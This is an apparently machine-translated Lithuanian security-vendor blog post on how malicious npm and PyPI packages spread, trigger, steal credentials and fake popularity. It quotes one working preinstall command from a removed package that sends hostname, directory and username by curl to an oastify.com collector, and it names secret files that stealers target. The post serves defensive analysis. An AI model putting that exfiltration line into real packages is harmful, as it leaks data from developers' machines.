Kenkėjiški paketai 5

Kenkėjiškų paketų anatomija: kokios yra tendencijos?

Ankstesniame epizode Atvirojo kodo kenkėjiški paketai: problema, aptarėme, kodėl grėsmės kėlėjai buvo tokie entuziastingai vertina naujų kenkėjiškų komponentų publikavimą arba kenkėjiškų programų įterpimą į naujausias esamų komponentų versijas: atvirojo kodo infrastruktūra leidžia visiems, bet kur, susikurti trumpalaikę paskyrą komponentų registre (pvz., NPM, PyPI, Docker Hub arba Visual Studio Marketplace) arba bendradarbiavimo kūrimo platformoje (pvz., GitHub). Nulinės išlaidos ir daug galimybių pasinaudoti pertekliniu pasitikėjimu, kurį programinės įrangos komandos tradiciškai jaučia trečiųjų šalių komponentais. 

Asimetrija tarp to, kaip lengva užpuolikams platinti kenkėjiškas programas naudojant atvirojo kodo infrastruktūrą, ir kaip sunku programinę įrangą kuriančioms organizacijoms (visiems?) išvengti užsikrėtimo kenkėjiškomis programomis (ir pateikti kenkėjiškas programas programinėje įrangoje, kurią jos platina kitiems), lėmė, kad praėjusiais metais kenkėjiškų paketų skaičius beveik pasiekė ketvirtį milijono. 

Tai tokio masto problema, kad jokia organizacija negali jos išspręsti, o bendruomenė šiuo metu keičia atvirojo kodo procesą, susijusį su pasitikėjimu, „saugi pagal nutylėjimą“ ir „saugi pagal dizainą“ principais bei komponentų gyvavimo ciklu. Šias idėjas apžvelgsime kitame epizode. Apsauga nuo atvirojo kodo kenkėjiškų paketų: kas veikia (neveikia).

Atminkite, kad kalbame apie programinės įrangos komponentus, kurie dažniausiai atitinka programinės įrangos paketai: daugkartinio naudojimo komponentai, supakuoti taip, kad į juos būtų galima remtis kaip į priklausomybę programinės įrangos manifeste, ir įdiegti naudojant paketų tvarkyklę arba kūrimo įrankį. Atkreipkite dėmesį, kad šį atvejį galima išplėsti, įtraukiant viešuosius konteinerio vaizdai (naudoja konteinerių vykdymo aplinkos ir orkestravimo platformos, tokios kaip „Kubernetes“) ir programinės įrangos įrankių plėtiniai (kūrimui, automatizavimui ir diegimui). 

Čia analizuosime, kaip tai atakos taktika, pagrįsta kenkėjiškais komponentais veikia, remiantis ankstesniais pavyzdžiais ir tuo, ką matėme savo platformoje, skirtoje ankstyvajam kenkėjiškų programų įspėjimui (MEW). Kenkėjiškus komponentus analizuosime įvairiais aspektais: 

(1) pasirinktas platinimo būdas (naudojamas registras naujame ar esamame komponente ir publikuotos komponento versijos užkrėtimo technika), (2) kaip kenkėjiška programa aktyvuojama arba suaktyvinama, (3) kenkėjiškas elgesys, t. y. kokie žalingi veiksmai stebimi ir kokia yra užpuoliko motyvacija, (4) kokie metodai yra įprasti: maskavimas, slėpimasis siekiant likti nepastebėtam, judėjimas horizontaliai, bendravimas su valdymo ir kontrolės (C2) mazgais ir kt.; ir (5) metodai, skirti įgyti pakankamai populiarumo ir pasitikėjimo, kad aukos galiausiai įdiegtų komponentą.

Pasirinktas paskirstymo mechanizmas

Mes stebime „foninis triukšmas„nesudėtingų kenkėjiškų paketų, kurie naudoja rašybos klaidą, kad apgautų neatsargius kūrėjus, kurių priklausomybės paketo pavadinime yra rašybos klaida. Daugelis populiarių paketų gauna daugybę panašiai pavadintų paketų su rašybos klaidomis, tikintis, kad jie apgaus kai kuriuos neatsargius kūrėjus.“ 

Jie naudoja trumpalaikę paskyrą, publikuoja „typosquat“ paketų grupę, sukuria kitą ir publikuoja dar vieną grupę... Naudodami tam tikrą automatizavimą ir išradingumą, jie gali pasiekti tam tikro sudėtingumo, tačiau paprastai tai gana trivialu. Mes juos vadiname „ančiuviai„. Pagrindinis tikslas yra pavogti įgaliojimus, tačiau kartais aptinkame šnipinėjimo programų, kurios išgauti šaltinio kodą arba neskelbtinus duomenis, pvz., asmenį identifikuojančią informaciją (AII), užfiksuoja iškarpinę ir sukelia kitų abejonių.“

Staiga išvystame sudėtingesnius kenkėjiškus komponentus – „ryklius“. Nedidelė dalis jų yra nukreipti į konkrečias grupes ar organizacijas, paprastai naudojant kriptovaliutų nutekinimo programas arba interneto svetainių nuskaitymo programas, kurios aktyvuojamos sąlyginai, galbūt laikantis metodo, pastebėto... įvykių srauto incidentas atakos naudingosios apkrovos iššifravimo tik tada, kai į paketą yra nuoroda iš tikslinio paketo. 

Pasiskirstymo mechanizmas buvo analizuojamas puikiame ir dabar jau klasikiniu tapusiame straipsnyje „„Backstabber's Knife“ kolekcija: atvirojo kodo programinės įrangos tiekimo grandinės atakų apžvalga“, kurį būtina perskaityti. Tikrai jau matėte šią gražią diagramą: 

kenkėjiškų paketų

Buvo išnagrinėtos visos galimybės, įskaitant naujus ir esamus paketus; paveikti šaltinio kodą, kompiliavimo sistemą ar patį supakuotą komponentą; naudoti pavogtus prisijungimo duomenis arba socialinę inžineriją; užgrobti apleistas paskyras ir saugyklas arba užkrėsti prižiūrimas. Kai kurios atakos buvo pavadintos (Raštu rašoma, Priklausomybės painiava, Akivaizdus sumišimas, Repo-jackir kt.) ir jau buvo aptarti kitur. 

O kaip dėl pasirinktų registrų?

NPM ir toliau pirmauja pagal bendrą kenkėjiškų paketų skaičių, tačiau šiais metais pastebėjome šuolį PyPI. Python yra populiari duomenų mokslo ir mašininio mokymosi ekosistema. Tiesą sakant, kenkėjiškų programų tankis PyPI dabar yra didesnis nei NPM. 

Kaip suveikia kenkėjiška programa

Kenkėjiški paketai diegimo metu suveikia tik 4 iš 10 atvejų (pastaraisiais metais šis skaičius siekė beveik 6 iš 10). Likusieji atvejai kenkėjišką elgesį vykdo vykdymo metu – 1 iš 100 atvejų suveikia atliekant testus. Atrodo, kad priešininkai žino, jog daugelyje vietų buvo išjungtas nekontroliuojamas diegimo scenarijų vykdymas.

Ką gauna blogiukai?

Išvardinsime kenkėjiško elgesio kategorijas, pradedant populiariausiomis. Atkreipkite dėmesį, kad poveikis gali būti gana skirtingas: a Valytuvas yra atkakliai destruktyvus, tačiau nėra įprastas ir pastebėtas tik keliais atvejais, susijusiais su tikslinėmis kibernetinio karo kampanijomis arba brutaliu hakerizmu. Šios kategorijos yra gana dažnos:

  • InfoStealer / Credentials DrainerDažniausios, daugiau nei 90 %, paprastų atakų yra paprastos vagystės, daugiausia ieškančios tokių kredencialų kaip slaptažodžiai, prieigos žetonai, API raktai ir privatūs raktai (SSH ir panašiai). Tai tikriausiai paprasčiausia parašyti (kartu su valymo įrankiais?). Jie išvardija žinomus failus / katalogus ir kitus šaltinius (pvz., registro raktus), supakuoja turinį ir siunčia šiuos duomenis į C2 serverį. Idėja paprasta: „Publikuoju sukčiavimo kredencialų vagystę, kad vėliau galėčiau naudoti kredencialus nukreiptai atakai pradėti“. 

Stebimi C2 tinklai paprastai yra pigūs ir nešvarūs, kaip „Telegram“ kanalai ar ngrok tipo tunelių kasimo įrankiai (dažnai atvirkštinių tarpinių serverių, prieinamų per VPN išėjimo IP adresus, pavidalu). Yra šimtai (!) galimybių, o daugelis „GitHub“ projektų yra slaptažodžių vagystės temaSpecializacijos, tokios kaip klavišų paspaudimų registratoriai, retos kenkėjiškiems paketams ir konteinerių atvaizdams, tačiau dažniau pasitaiko įrankių plėtiniuose, kur tikimasi vartotojo sąveikos.

  • Lašintuvas / AtsisiuntėjasAntras pagal populiarumą, paprastai pirmas daugiapakopėse atakose. Daugiau nei vienas iš trijų kenkėjiškų komponentų turi „dropper“ (jei kenkėjiška naudingoji informacija yra įtraukta į paketą) arba „downloader“ (naudingoji informacija atsisiunčiama iš galinio taško, kontroliuojamo užpuoliko). Naudingoji informacija dažnai yra žinomas dvejetainis kenkėjiškos programos variantas, kuris yra paleidžiamas ir kartais išsaugomas, siekiant įdiegti „backdoor“, šnipinėjimo programas, kriptovaliutų nusausinimo programas ir kitais atvejais. Atsisiųsta arba įdiegta naudingoji informacija pradeda antrosios fazės ataką, naudodama visą esamų kenkėjiškų programų dvejetainių failų teikiamą galią. Dvejetainiai failai gali būti platinami pakete, dažnai maskuojami kaip atvaizdai arba tariamai nekenksmingi failų tipai, kad būtų išvengta aptikimo jungiantis prie netikėtų svetainių. 
  • Kriptovaliutų vagys / kasėjaiFinansiškai motyvuoti priešininkai nori naudoti jūsų debesijos išteklius kriptovaliutų kasimo programoms vykdyti (jie netgi aptinka, ar jos veikia debesijos virtualioje mašinoje). Jiems nerūpi, mažas pelno rodiklis 1 USD už kiekvienus 53 USD, nuskaičiuotus iš aukos už pavogtą debesijos infrastruktūrą. Aukos gali to nesuvokti, kol negaus netikėtos sąskaitos. Laimei, taip nutinka ir praeina. Kriptografija Kenkėjiškuose paketuose esančios kampanijos kartais pasirodo ir išnyksta, sukčiaudamos piniginės naudotojams arba galiausiai taikydamosi į piniginės teikėją, kaip parodyta paveikslėlyje Ledgerio ataka.   

Kiti veiksmai, pavyzdžiui, diegimas slaptas nuotoliniam kodo vykdymui atidarant atvirkštinį apvalkalą dabar naudojamas rečiau nei anksčiau. Pavyzdžiui, 123rf_bendradarbio_tinklalapis paketas (dabar pašalintas iš registro) atsidaro be jokio užmaskavimo atvirkštiniu apvalkalu, nukopijuotu ir įklijuotu iš Atvirkštinio apvalkalo apgaulės lapas:

kenkėjiški paketai 2
Kenkėjiškų paketų tipai buvo pastebėti 2024 m. birželio 24–30 d. savaitę.

Be teisėtų ir kenkėjiškų komponentų, pastebėjome keletą piktnaudžiavimo atvejų, įskaitant:

Šlamšto paketai

Yra tūkstančiai mažų paketų, daugiausia NPM, be kenkėjiškų programų, tačiau žadančių lengvą uždarbį, kenksmingas medžiagas, nuorodas į „Viagra“ pasiūlymus ir visa kita. Keletas vartotojų skelbia tokį šlamštą ir atima daug pralaidumo iš registro. Kitas (-i) veikėjas (-ai), galbūt iš Indonezijos, bandė gauti naudos... piktnaudžiauja arbataRank skirtas atvirojo kodo kūrėjams kompensuoti, sukuriant dešimtis tūkstančių tarpusavyje susijusių NPM paketų su susijusiomis „GitHub“ fiktyviomis saugyklomis. Tai akivaizdus naudojimo sąlygų pažeidimas.

Klaidų paieškos ir saugumo tyrimų apgaulės

 Kai paketas apibūdina save kaip duomenų išgavimą geriems tikslams, pavyzdžiui, saugumo spragų aptikimui klaidų paieškos programoms arba tam tikrų ekosistemos aspektų tyrimui, matėme tūkstančius šios kategorijos paketų, kurie iš „PortSwigger“ (pvz., serverio, esančio oastify.com domene) į „Burp Collaborator“ adresą nuskaito identifikavimo, bet ne per daug jautrius duomenis. Pastebėjome, kad dažnai kopijuojami... Priklausomybės painiava Alexo Birsano koncepcijos įrodymas, kaip ir aurora-webmail-pro paketas (pašalintas iš registro), kuris tiesiog paleidžia šį nemalonų kodą išankstinio diegimo scenarijuje:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

Taip pat buvo įtrauktas „Tai paprasta priklausomybių painiavos ataka, koncepcijos įrodymas„Atsakomybės apribojimo aprašymas“ paketas.jsonTai yra aiškus paslaugų teikimo sąlygų pažeidimas, net ir be piktavališkų ketinimų. 

Gerų naujienų? (Kol kas) nematėme išpirkos reikalaujančių programų atakų, vykdomų per kenkėjiškus komponentus. Dėl nežinomų priežasčių kibernetiniai nusikaltėliai, regis, renkasi tradiciškesnius sukčiavimo el. paštu, RDP pagrindu veikiančius ir automatinius atsisiuntimo mechanizmus. 

Papildomai pastebėti metodai 

kenkėjiški paketai 3

Buvo naudojama daug atkaklumo, gynybos vengimo, informacijos rinkimo, bendravimo su komandų ir kontrolės kompiuteriais bei eksfiltracijos metodų. 

Atkaklumas Kenkėjiškų komponentų atpažinimas įgyjamas naudojant antro etapo dvejetainės kenkėjiškos programos atkaklumo funkcijas, tačiau kartais šis elgesys slypi paketo kode, dažniausiai pasitaikančios suplanuotos užduotys ir „Windows“ registro pakeitimai. 

Obfuscation yra įprastas, bet nesudėtingas. Dauguma spausdinimo klaidų turinčių paketų (prisiminkite „ančiuviai„?“) visiškai nenaudoja kodo slėpimo; daugelis naudoja arba trivialius kodavimo metodus (base64/šešioliktainį kodavimą arba pakeitimo šifrus, pvz., „rot13“), arba naudoja turimus kodo slėpimo įrankius ir mažinimą, kurį lengva pakeisti naudojant tinkamus įrankius. Tik „rykliai“ atlieka tikrą, sudėtingą slėpimą, kurį sunku atkurti.

Kodavimas gali paslėpti ataką, bet kodėl atvirojo kodo komponento kodą reikėtų koduoti? Ar yra įrodymų, kad kažką reikia paslėpti nuo akių? Radome daug atvejų, kai nekenksmingi paketai naudoja kodavimą intelektinei nuosavybei apsaugoti, o tai prieštarauja „atvirojo kodo“ sąvokai. Kodavimas gali būti naudojamas kaip kenkėjiškos programos įrodymas, tačiau tai nėra galutinis įrodymas. Taip pat sunku pašalinti kodavimą. 

Vengimas nuo gynybos kontrolės priemonių taiko paprastus metodus. Kenkėjiškas kodas dažnai yra apsaugotas bandyti… pagauti blokai, kurie ignoruoja visas išimtis, todėl neįprasta veikla žurnaluose nerodoma. Aplinkos (veikiančios virtualioje mašinoje arba konteineryje) patikrinimas atliekamas retai, nebent kenkėjiška programa nukreipta į konkrečią organizaciją ar aplinką.

Dvejetainių failų maskavimas vaizduose ir PDF failuose (tam tikra steganografija) buvo dar viena technika, naudojama aptikimui išvengti.

Kadangi dažniausiai pasitaikantys kenkėjiški komponentai yra informacijos vagystės, duomenų rinkimas yra būtina. Paslaptys (slaptažodžiai, prieigos žetonai, API raktai, kriptografiniai raktai) yra reguliariai nuskaitomi žurnalų failuose, aplinkos kintamuosiuose ir net iškarpinėje (pastebėta su bankų Trojos arkliais ir kriptovaliutų vagimis). Šaltinio kodo išgavimas taip pat yra dažnas, nes paketų diegimas dažnai atliekamas kūrimo mazge, kuriame gali būti klonuojamos vidinės „Git“ saugyklos. Matėme paketus, kuriuose išvardijami katalogai, ieškant „Git“ saugyklų. Gana dažnai ieškoma tokių vietų kaip .env, private.pem, settings.py, app.js arba application.properties.

Išgavimas iš duomenų yra dar vienas plačiai naudojamas veiksmas. Tik nedidelė dalis kenkėjiškų paketų bando nuslėpti išgauto duomenų paskirties vietą. „Telegram“ kanalai ir ngrokų tipo tuneliai dažnai naudojami. Ir jų yra daug paprastai baltajame sąraše esantys domenai, naudojami išfiltracijai

Kiti metodai, pavyzdžiui, privilegijų eskalavimas ar judėjimas į šonus, buvo retesni. 

Įgyti populiarumą ir pasitikėjimą

Įsivaizduokite technologijų sukčių su paruoštu žudikišku kenkėjišku dalyku, kuris svarsto: „Kaip padaryti šį šūdo gabalą patikimą tiems nieko neįtariantiems idiotams?“. 

Tai reiškia, kaip kenkėjiško komponento įrašą padaryti taip, kad būtų rodoma daug žvaigždučių / atšakų (populiarumui), taip pat versijos / problemos ir kt. pull requests (veiklai). Idėja – įgyti fiktyvaus populiarumo (žvaigždžių) ir išlaikytinių, taip pat įtikinamai atrodyti dėl aktualumo ir išlaikymo. 

Registras netikrina, ar „GitHub“ projekto ir paketo turinys sutampa.Tai gerai žinoma programinės įrangos tiekimo grandinės problema. Viešieji registrai yra milžiniškos smegduobės, kurios praryja viską, kas į juos patenka. Galite susieti bet kurią saugyklą. 

kenkėjiški paketai 4
Įrodymų apie galimą kenkėjišką programinę įrangą pasiskirstymas 2024 m. birželio 24–30 d. savaitę.

Jei kenkėjiškas paketas apgauna populiarų paketą su spausdinimo klaida, tai paprasta: tiesiog nurodykite esamą „GitHub“ saugyklą priklausomybių manifeste, naudojamame paketui sukurti ir jam publikuoti registre. Naujiems paketams, esantiems netikroje „GitHub“ saugykloje, gali prireikti daugiau išradingumo, galbūt sukurti netikrą žvaigždžių stebėjimas / išsišakojimas „GitHub“ paskyros naudojant scenarijus.

Ir jei jūsų paketo turinys yra pakankamai panašus į saugyklos turinį, įterpkite keletą gerai suplanuotų pakeitimų čia ir ten... Galite įterpti savo kenkėjišką programinę įrangą į naują paketą, panašų į populiarų, nurodantį esamos saugyklos turinį, ir laukti rašybos klaidų. Jei kas nors išdrįstų palyginti paketo tarball turinį su „GitHub“ saugyklos turiniu, skirtumai kenkėjiškų programų įterpimo taškuose gali būti lengvai nepastebėti. Šį metodą matėme daug kartų anksčiau. 

Būtų sveikintinas mechanizmas, leidžiantis komponentui pateikti patikimą informaciją apie kilmę, kaip pakuotė buvo pagaminta, iš kokių šaltinių ir kas ją pagamino. Tačiau tai jau kita istorija. 

Ar X komponentas yra kenkėjiška programa?

Ar yra (išsami) kenkėjiškų paketų duomenų bazė? Ne. Atvirojo kodo pažeidžiamumams priskiriamas CVE ID, tačiau tik keliems kenkėjiškiems paketams (ypač tiems, kurie patenka į antraštes) jis suteikiamas. Kenkėjiškų paketų CVE yra CWE-506 (įterptas kenkėjiškas kodas). 

Įprastos kenkėjiškų programų kūrimo priemonės („VirusTotal“, „MalwareBazaar“, „SOREL-20M“…) nenumato specialių nuostatų dėl kenkėjiškų komponentų. Tai būtų sveikintina!

Yra tyrimų pavyzdžių duomenų bazės ir duomenų rinkiniai analizei (mes naudojame kelis iš jų), tačiau įrašai atnaujinami tik tada, kai žinomas kenkėjiškas paketas, o tai dažnai būna per vėlu. Jei jus domina, OpenSSF Kenkėjiški paketai yra graži pradžia.

Kitame įraše aptarsime, kaip sužinoti, ar paketas yra kenkėjiškas. Išsamus paaiškinimas: taip, yra būdų patikrinti, ar nėra kenkėjiškų komponentų, ankstyvuoju poveikio laikotarpiu, prieš registrui pašalinant žinomą kenkėjišką komponentą.

Toliau skaitykite

Kitame epizode „Apsauga nuo atvirojo kodo kenkėjiškų paketų: kas veikia (neveikia)" Aptarsime, ką daryti ir ko nedaryti atvirojo kodo saugumo srityje. Dauguma saugumą išmanančių specialistų turi nuojautą, kaip elgtis su šia grėsme, tačiau klaidingų nuomonių apstu. 

Apžvelgsime, kodėl šios idėjos yra klaidingos ir kaip tokios klaidingos nuomonės prisideda prie šio atakų mechanizmo populiarumo ir didžiulės rizikos, kurią patiria organizacijos. Tada pereisime prie to, kas veikia ir kokios pastangos bei ištekliai yra reikalingi. 

Taip pat paskelbsime apie kenkėjiškų paketų evoliuciją pagal jų ketinimus, įterpimo mechanizmą ir atakų metodus.

Būkite suderinti!

Nuorodos

Atvirojo kodo kenkėjiški paketai: problema

Apsauga nuo OSS kenkėjiškų paketų: kas veikia (neveikia)

sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu